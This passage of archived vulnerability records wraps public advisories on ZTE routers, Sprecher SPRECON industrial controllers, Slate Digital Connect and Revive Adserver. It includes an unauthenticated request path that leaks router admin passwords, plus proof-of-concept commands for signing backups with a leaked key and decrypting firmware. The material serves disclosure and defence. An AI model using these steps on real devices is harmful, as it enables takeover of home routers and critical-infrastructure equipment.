exist:\n            \"Your message dated on 28 Apr 2026 07:52:04 -0000 toprivacy () slatedigital com\n            couldn\u0027t be delivered due to the following error:\n            5.1.0 - Unknown address error 550-\u00275.4.1 Recipient address rejected:\n            Access denied\"\n2026-04-28: Contactinginfo () audiotonix com; No response.\n2026-06-10: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor was unresponsive since January 2026 and a patch is not available.\nUsers of this software should contact the vendor support and demand a patch.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/7"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/7"
        },
        {
          "url": "https://app.completeaccess.audio/installers"
        },
        {
          "url": "https://app.completeaccess.audio/installers,https://slatedigital.com/"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://slatedigital.com/about/"
        },
        {
          "url": "https://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260610-0 :: Local Privilege Escalation in Slate Digital Connect (macOS)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24066",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24067",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0366",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/7",
            "automated": true,
            "contentSha256": "4296eee822e8b196734ef37c00e2a72fc22b617ce67067d8b74fe4d9f3099418",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-10T10:34:27Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0366"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0366"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "m.nageh"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nAdvisory ID:    MONX-2026-002\nCVE ID:         CVE-2026-34472\nTitle:          ZTE ZXHN H188A V6 - Authentication Bypass via Pre-Login\nWizard Credential Leakage\nAffected:       ZTE ZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE\nDate:           2026-05-20\nAuthor:         Mina Nageh Salalma (Monx Research)\nContact:        minanageh379 () gmail com\nPublic URL:\nhttps://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router\nMITRE:          https://www.cve.org/CVERecord?id=CVE-2026-34472\n\n\nVULNERABILITY DESCRIPTION\n--------------------------\nUnauthenticated requests to the root path of ZTE ZXHN H188A V6 firmware can\nreach pre-login wizard handlers and disclose WLAN PSKs, SSIDs, and PPPoE\nusernames. The leaked Wi-Fi password is also the default administrator\npassword after uppercasing, resulting in full authentication bypass.\n\n\nROOT CAUSE\n----------\nrouter_logic_impl.lua accepts attacker-controlled _type and _tag parameters\nfor empty-path requests. urlpath_2type_modifier.lua only activates the\nQuickSetupEnable gate when _type is absent. Supplying _type explicitly\ncauses\nthe wizard handlers (getPassword, wlan_get, ppp_get) to execute for\nunauthenticated requests, returning WLAN PSKs, SSIDs, and PPPoE credentials.\n\n\nTIMELINE\n--------\n2024-04-26: Local validation and PoC artifacts created.\n2024-05:    Report sent to ZTE PSIRT.\n2024-05-10: ZTE PSIRT stopped responding.\n2026-01-17: Escalated to MITRE.\n2026-02-02: ZTE PSIRT explicitly declined CVE assignment.\n2026-03-27: MITRE assigned CVE-2026-34472.\n2026-05-20: Full public disclosure.\n\n\nCREDITS\n-------\nMina Nageh Salalma (Monx Research)\nhttps://github.com/minanagehsalalma\n\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/19"
        },
        {
          "url": "https://github.com/minanagehsalalma"
        },
        {
          "url": "https://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34472"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SECURITY ADVISORY] CVE-2026-34472 - ZTE ZXHN H188A V6 Authentication Bypass via Pre-Login Wizard",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-34472",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0371",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/19",
            "automated": true,
            "contentSha256": "d8794116ee18499a7c4b69c4cb15a17272f0a479facc72de09a45ac51eca99a5",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-20T14:32:17Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0371"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0371"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "m.nageh"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nAdvisory ID:    MONX-2026-003\nCVE ID:         CVE-2026-34474\nTitle:          ZTE ZXHN H298A / H108N - Unauthenticated Admin Password \u0026\nWLAN Credential Exposure\nAffected:       ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6 (EOL; no patch\nplanned)\nDate:           2026-05-20\nAuthor:         Mina Nageh Salalma (Monx Research)\nContact:        minanageh379 () gmail com\nPublic URL:\nhttps://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure\nMITRE:          https://www.cve.org/CVERecord?id=CVE-2026-34474\n\n\nVULNERABILITY DESCRIPTION\n--------------------------\nA single unauthenticated HTTP GET to /getpage.lua?pid=1000\u0026ETHCheat=1 on ZTE\nH298A or H108N routers returns the live administrator password\n(OBJ_USERINFO_IDPassword1), WLAN PSK (WLANPSK_KeyPassphrase1), and SSID in\nplaintext HTML. A second endpoint exposes the device serial number.\n\nNote: ZTE declined vendor-side assignment citing product EOL. MITRE assigned\nCVE-2026-34474 directly and published the record 2026-05-06. These devices\nremain deployed by some ISPs.\n\n\nCREDITS\n-------\nMina Nageh Salalma (Monx Research)\nhttps://github.com/minanagehsalalma\n\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/20"
        },
        {
          "url": "https://github.com/minanagehsalalma"
        },
        {
          "url": "https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34474"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SECURITY ADVISORY] CVE-2026-34474 - ZTE H298A/H108N Unauthenticated Admin Credential Exposure",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-34474",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0372",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/20",
            "automated": true,
            "contentSha256": "d7deed16f4c2f767f2f9e74eba7d57baf4fe782bf28eb334f544ee50fa181f82",
            "evidenceScore": 4,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-20T14:32:52Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0372"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0372"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Sprecher Automation SPRECON-E-C/-E-P/-E-T3",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260617-0 \u003e\n=======================================================================\n              title: Multiple Critical Vulnerabilities\n            product: Sprecher Automation SPRECON-E-C/-E-P/-E-T3\n\u00a0vulnerable version: See vulnerable versions below\n      fixed version: See solution section below\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2022-4333, CVE-2022-4332, CVE-2025-41741,\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 CVE-2025-41742, CVE-2025-41743, CVE-2025-41744\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: critical\n           homepage:https://www.sprecher-automation.com/\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2022-08-26\n                 by: Steffen Robertz\n                     Christian Hager (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n=======================================================================\n\nVendor description:\n-------------------\n\"Sprecher Automation provides products and solutions for power supply\nand process automation. We secure critical infrastructures and optimise\ncomplex energy and industry processes. [...]\nQuality, availability and security \u2013 those are not only our customers\u0027s\nrequirements, but also goals we are striving for. Due to that, for example,\nthe hard- and software development are located in Austria and Germany.\nWe produce exclusively in Austria \u2013 starting with the production of\nsingle elements, to system checks and practical inhouse testing.\"\n\nSource:https://www.sprecher-automation.com/en/company\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides updated versions as well as workaround information in\ntheir security advisories. Users should verify whether the patches are\ninstalled already, otherwise patch immediately.\n\nSEC Consult highly recommends to perform a thorough security review of\nthe product conducted by security professionals to identify and resolve\npotential further security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Leak of Firmware Signing Private Key (CVE-2025-41741)\nSprecher signs its firmware update files to prevent an attacker from\nloading manipulated update files. However, each PLC contains the\nglobally valid private signing key, as it is also used to sign backups.\nAn attacker, who obtains the key is able to ship validly signed,\nmodified firmware updates.\n\nThe security vulnerability has been resolved in firmware version 9 and\nabove. Further details can be found in the advisory of the vendor. In\nprevious versions the affected feature can be deactivated by the customer.\nThe stated key can only be used in conjunction with the backup feature.\nAffected products: SPRECON-E-C/-E-P/-E CPU Modul\n\n2) Missing Secure-Boot Mechanism (CVE-2022-4332)\nThe PLC is able to detect secure boot violations correctly. However,\nthe events are not handled properly. They only output a warning to the\nboot log, but do not prevent the device\u0027s operation. Thus, anybody with\nphysical access to the device can modify the firmware and potentially\ninclude backdoors.\n\nThe security vulnerability has been resolved in firmware version 8.71a and\nabove, as well as 8.64m. Further details can be found in the advisory\nof the vendor. In current and previous versions the affected feature can be\ndeactivated by the customer.\nAffected products: SPRECON-E-C/-E-P/-E\n\n3) Unencrypted External Flash Memory (CVE-2022-4332)\nThe external flash memory can be dumped using tools such as the Xgecu\nT56. This allows an attacker with physical access to read all files and\nthus gain knowledge about sensitive files such as passwords and private\nkeys.\n\nThe security vulnerability has been resolved in firmware version 9 and above.\nFurther details can be found in the advisory of the vendor. In current and\nprevious versions the affected feature can be deactivated by the customer.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n4) Usage of static passwords (CVE-2025-41742)\nVarious static passwords / key material can be discovered in the firmware.\nThey serve  different use cases, such as hard-coded user accounts, as well as\nencryption for settings and configuration files. This allows an attacker\nto decrypt configuration files, modify them and properly encrypt them\nagain.\n\nAccording to the vendor, the documented static identity string does not serve\na security purpose in the system and is used as an identifier for maintenance.\nUsing the default identifier can lead to the targeted system being misidentified\nduring maintenance.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n5) Hard-coded Vendor Accounts (CVE-2022-4333)\nTwo hard-coded vendor accounts were revealed in the devices. These\naccounts are shipped with every update file and can be used by the\nvendor e.g. for support access.\n\nThese documented accounts can be activated or deactivated in the configuration.\nThese accounts are additionally secured with 2FA in firmware version 8.71g.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n6) Decrypt Firmware Update Files (CVE-2025-41743)\nFirmware update files include hard-coded accounts from vulnerability 5 and\ncan be decrypted using an XOR algorithm and a static password. This\nallows an attacker to further analyze PLC components as well as gaining\nknowledge of private keys and hard-coded accounts without requiring\nphysical access to any device.\n\nThe signature and encryption mechanism have been modified and the security\nvulnerability has been resolved in version 8.71 and above. Further details\ncan be found in the advisory of the vendor.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n7) Insecure Transport Encryption (CVE-2025-41744)\nThe PLC\u0027s webserver and the connection to the Sprecher Engineering Center\nsoftware use the same static default key on all devices. An attacker who gains\naccess to the private key via vulnerability 3 or 6 can thus decrypt all\ntraffic in a man-in-the-middle position. Thus, an attacker would be\nable to change configurations and read connection passwords.\n\nAccording to the vendor, those certificates are only used during initial\ncommissioning and users can find further information to change the certificates\nin the documentation/guideline \"SPRECON Grundh\u00e4rtung\" (basic hardening).\nThe vendor\u0027s hardening guide makes it clear that it is both possible and\nrecommended to change the default certificate.\nDocumentation: 94.2.913.50en SPRECON Basic Hardening\n\n\nProof of concept:\n-----------------\n1) Leak of Firmware Signing Private Key (CVE-2025-41741)\nBackups are restored by the same command flow as regular update files.\nThus, backups need to be validly signed as well. For this, Sprecher\u0027s\nprivate key is required. The following openssl command signs the\ncreated backup:\n\n```\nopenssl dgst -sha256 -sign ${SSM_CERT}/.backup.key -passinfile:${SSM_CERT}/.pass -out\n${SSM_SECURE_DIR}/image.sha256 ${SSM_SECURE_DIR}/image.zip 2\u003e/dev/null\n```\n\nThe private key and password are both stored in the same filesystem and\ncan be obtained via the decrypted firmware update file (vulnerability 6)\nor the unencrypted flash memory (vulnerability 3).\n\n\n2) Missing Secure-Boot Mechanism (CVE-2022-4332)\nThe main SoC of the SPRECON E-C-94 is an i.MX6. The board does not fully\nenable High-Assurance Boot (HAB). Thus, the firmware and bootloader can\nbe modified. The modification is detected, however, since secure boot is\nnot fully enabled, the violation will not be handled. The following boot\nlog  can be seen on the device\u0027s service connector (X6). The first\nbootline was manipulated to include the string \"SECTEST\".\n\n```\nREL_UBOOT_SECTEST_2015_07_RC7 SPL (Mar 11 2022 - 10:55:26)\nBooting from SPI\nImage Entry Point: 0x17800000\nImage Load Address: 0x177FFFC0\nImage Size: 0x48000\nAuthenticate image from DDR location 0x177fffc0...\nAuthenticated Image Size = 0x46000\nLoad Addr = 0x17800000\nHAB not enabled\nU-Boot Authentication Successful\n[...]\nAuthenticate image from DDR location 0x12000000...\nAuthenticated Image Size = 0x7bc000\nHAB not enabled\nHAB Configuration: 0xf0, HAB State: 0x66\n--------- HAB Event 1 -----------------\n[...]\nzImage Authentication Successful\n```\n\n3) Unencrypted External Flash Memory (CVE-2022-4332)\nThe main memory is a BGA153 eMMC flash memory. Thus, it can be read by\nmultiple tools such as the Xgecu T56. By dumping its contents, an\nattacker can extract password hashes from the `/etc/passwd` or\n`/etc/shadow` file and gain access to the private key from\nvulnerability 1.\n\n\n4) Usage of static passwords (CVE-2025-41742)\n\u00a0 \u00a0 4.1) Static Passwords in Sprecher Engineering Studio\n                 Two different passwords can be used to call an internal function.\n         This can be seen in following code snippet:\n                \n                 ```\n                 iVar3 = _strcmp(local_28,\"**redacted**\");\n                 if (((iVar3 == 0) || (iVar3 = _strcmp(local_28,\"**redacted**\"), iVar3 == 0)) ||(iVar3 = \n_strcmp(local_28,\"**redacted**\"), iVar3 == 0)) {\n                        FUN_10001780(local_28,0x20,\"XXX\");\n                 }\n                 ```\n                \n                 Unfortunately, we were not able to fully determine the use case of\n         these credentials.\n        \n        4.2) Static Passwords in Sprecher Engineering Studio Configuration files\n                 When exporting configurations from the Engineering Studio, a .sprXecz\n                 file will be created. It is encrypted using a static password.\n\n        4.3) Webserver Settings Export\n                 The webserver exports its settings as .jzp file. However, this\n                 is just a renamed .zip file which uses a static password.\n\n        4.4) OpenVPN and IPSEC Settings Export/Import\n                 OpenVPN profiles and IPSEC settings are exported/imported as\n                 zip files. They are encrypted with a static password.\n\n\n5) Hard-coded Vendor Accounts (CVE-2022-4333)\nThe `/etc/passwd` file and `/etc/shadow` file reveal hard-coded password\nhashes for the \"sprecon\" and \"spradm\" accounts. These accounts are shipped\nwith the update files (tested with official downloadable version 8.71) and\nthere seems to be no option for deleting or changing their passwords.\n\nThe usability of the accounts is configurable via the configuration.\nDetails to deactivate the accounts are included in the hardening guidelines.\n\n\n6) Decrypt Firmware Update Files (CVE-2025-41743)\nSPRECON firmware update files are encrypted. However, they use XOR magic\nand static passwords as encryption method. Due to limited time, we did\nnot reverse engineer the XOR algorithm and instead ran the decoding\nbinaries using QEMU. First, the fwimaker binary was run to create a\nregular zip file from the XORed .fwi file by running the following\ncommand:\n\n```\nqemu-arm -L /usr/arm-linux-gnueabihf ./fwimaker x sce_P9pu244_sc_864l_crypt.fwi extracted.zip\n```\n\nAfterwards the ZIP file can be decompressed and decrypted.\nAn attacker is now able to read the static password hashes and\nfurther analyze components of the PLC.\n\nAccording to the vendor, manipulated firmware update files cannot be\nflashed anymore, due to the usage of firmware signing.\n\n\n7) Insecure Transport Encryption (CVE-2025-41744)\nThe file `/etc/rbac/default.pem` contains a private key which is used\nfor the HTTPS encryption of the webserver. Further, the same key is used\nto encrypt the communication with the Sprecher Engineering Studio.\nAn attacker can use vulnerability 3 or 6 to obtain the private key\nand can then decrypt communication in a man-in-the-middle position.\nThe certificate has following fingerprint:\n\n```\nE9:AF:F4:F1:90:83:3C:5B:0B:E2:DF:E1:DF:31:69:B5:C1:EC:90:52\n```\n\nOne device using the same certificate was discovered on the internet.\n\nAccording to the vendor, those certificates are only used during initial\ncommissioning and users can find further information to change the certificates\nin the documentation/guideline \"SPRECON Grundh\u00e4rtung\" (basic hardening).\nThe vendor\u0027s hardening guide makes it "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:58Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/19"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://www.sprecher-automation.com/"
        },
        {
          "url": "https://www.sprecher-automation.com/anfrage-sprecon"
        },
        {
          "url": "https://www.sprecher-automation.com/en/company"
        },
        {
          "url": "https://www.sprecher-automation.com/fileadmin/itSecurity/PDF/2022-12_Advisories.pdf"
        },
        {
          "url": "https://www.sprecher-automation.com/fileadmin/itSecurity/PDF/SPR-2511042_de.pdf"
        },
        {
          "url": "https://www.sprecher-automation.com/fileadmin/itSecurity/PDF/SPR-2511043_de.pdf"
        },
        {
          "url": "https://www.sprecher-automation.com/fileadmin/itSecurity/PDF/SPR-2511044_de.pdf"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260617-0 :: Multiple Critical Vulnerabilities in Sprecher Automation SPRECON-E-C/-E-P/-E-T3",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2022-4332",
              "type": "related"
            },
            {
              "destId": "CVE-2022-4333",
              "type": "related"
            },
            {
              "destId": "CVE-2025-41741",
              "type": "related"
            },
            {
              "destId": "CVE-2025-41742",
              "type": "related"
            },
            {
              "destId": "CVE-2025-41743",
              "type": "related"
            },
            {
              "destId": "CVE-2025-41744",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0368",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/19",
            "automated": true,
            "contentSha256": "5090538895e185dcc7127720faf216b67257c06163b3544d734b5679dbc589e5",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-17T05:51:31Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0368"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T07:55:58Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0368"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Revive Adserver Vulnerabilities",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matteo Beccati"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "========================================================================\nRevive Adserver Security Advisory                     REVIVE-SA-2026-002\n------------------------------------------------------------------------\nhttps://www.revive-adserver.com/security/revive-sa-2026-002\n------------------------------------------------------------------------\nDate: 2026-06-03\nRisk Level: Medium to High\nApplications affected: Revive Adserver\nVersions affected: \u003c= 6.0.6\nVersions not affected: \u003e= 6.0.7\nWebsite: https://www.revive-adserver.com/\n========================================================================\n\n\n========================================================================\n1. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-34912\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3650504\nhttps://github.com/revive-adserver/revive-adserver/commit/e1c9b8478\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n2. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-34913\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\nrelationships.\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3650582\nhttps://github.com/revive-adserver/revive-adserver/commit/f1b5e8504\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n3. Blind SQL Injection\n========================================================================\nVulnerability Type: CWE-89: SQL Injection\nCVE-ID: CVE-2026-34914\nRisk level: High\nCVSS Base Score: 8.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3653196\nhttps://github.com/revive-adserver/revive-adserver/commit/b541d1d05\nhttps://cwe.mitre.org/data/definitions/89.html\n\n\n========================================================================\n4. Reflected XSS\n========================================================================\nVulnerability Type: CWE-79: Cross-site Scripting\nCVE-ID: CVE-2026-34915\nRisk level: Medium\nCVSS Base Score: 6.1\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3653316\nhttps://github.com/revive-adserver/revive-adserver/commit/b541d1d05\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n5. Remote Code Execution\n========================================================================\nVulnerability Type: CWE-94: Code Injection\nCVE-ID: CVE-2026-34916\nRisk level: High\nCVSS Base Score: 8.8\nCVSS Vector: 